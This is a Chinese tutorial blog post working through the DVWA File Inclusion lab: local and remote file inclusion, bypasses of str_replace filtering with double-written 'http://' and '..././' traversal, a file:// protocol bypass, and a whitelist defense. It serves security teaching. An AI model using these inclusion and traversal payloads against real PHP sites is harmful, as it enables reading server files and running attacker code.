文件包含漏洞

File Inclusion, 意思是文件包含(漏洞),是指当服务器开启allow_ ur_ include选项时,就可以通过php的某些特性函数(include(), require()和include_ once(), require_ once()) 利用url去动态包含文件,此时如果没有对文件来源进行严格审查,就会导致任意文件读取或者任意命令执行。文件包含漏洞分为本地文件包含漏洞与远程文件包含漏洞,远程文件包含漏洞是因为开启了php配置中的allow_ url fopen选项(选项开启之后,服务器允许包含一个远程的文件)。

原理:开发者把可重复使用的函数写入到单个文件中,在需要使用该函数时,直接调用该文件,输入一段客户可以操控的恶意脚本或者代码,让服务端去执行。

1、低级

(1)、本地文件包含:创建一个在D盘下的key.txt文件输入内容:小云飞走罗,然后更改url中的page内容为D:\\key.txt

9bada208036045928ce11d5f9035300a.png

(2)、远程文件包含

输入ifconfig

输入 service apache2 start(启动)

输入service apache2 status(查看active是否开启)

输入sudo apt-get update (进行安装gedit)
输入sudo apt-get install gedit-gmate                 
输入sudo apt-get install gedit-plugins               
输入sudo apt-get remove gedit 
输入sudo apt-get install gedit

输入gedit /var/www/html/shell.php

在shell中输入

<?php
      echo "wo shi xiao yun yun";
 ?>

在kali中火狐浏览器打开http://192.168.56.128/shell.php

e0bd7b262c58455ea9e0e2e087459372.png

 打开

d2a20e90a4bb458a865c455e38ebe3cc.png

 在本机上page=http://192.168.56.128/shell.php

2、中级(使用str_ replace()函数将http:// https:// ../ ..\ 替换成空字符)

(1)、远程文件包含

page=hthttp://tp://ip/ phpinfo.txtit时, str_ replace函数是极其不安全的,可以使用双写绕过替换规则

(2)、本地文件包含

http://ip/ dvwa/vulnerabilities/fi/page=..././..././..././..././xampp/htdocs/dvwa/php.ini,跳过四级目录

3、高级(利用file伪协议文件包含绕过)

包含file开头的文件,看似安全,不幸的是我们依然可以利用file协议绕过防护策略。

http://127.0.0.1/script. php?page=file://E: \phpstudy\ \PHPTutorial \ \WWW\ \flag. txt

db62cde47bbe41edafd6034f75a55869.png

将key文件内容更改为以下这个,即可运行PHP文件

<?php
   phpinfo();
?>

16125ff164f54793b1bc809d229e1380.png  

至于代码执行,需要配合文件上传漏洞利用。首先需要.上传一个内容为php的文件,然后再利用file协议去包含上传文件(需要知道上传文件的绝对路径),从而实现任意代码执行

4、impossible(代码基于白名单进行验证)

基于白名单进行防御,确保page参数传递的只能是固定的文件名

评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值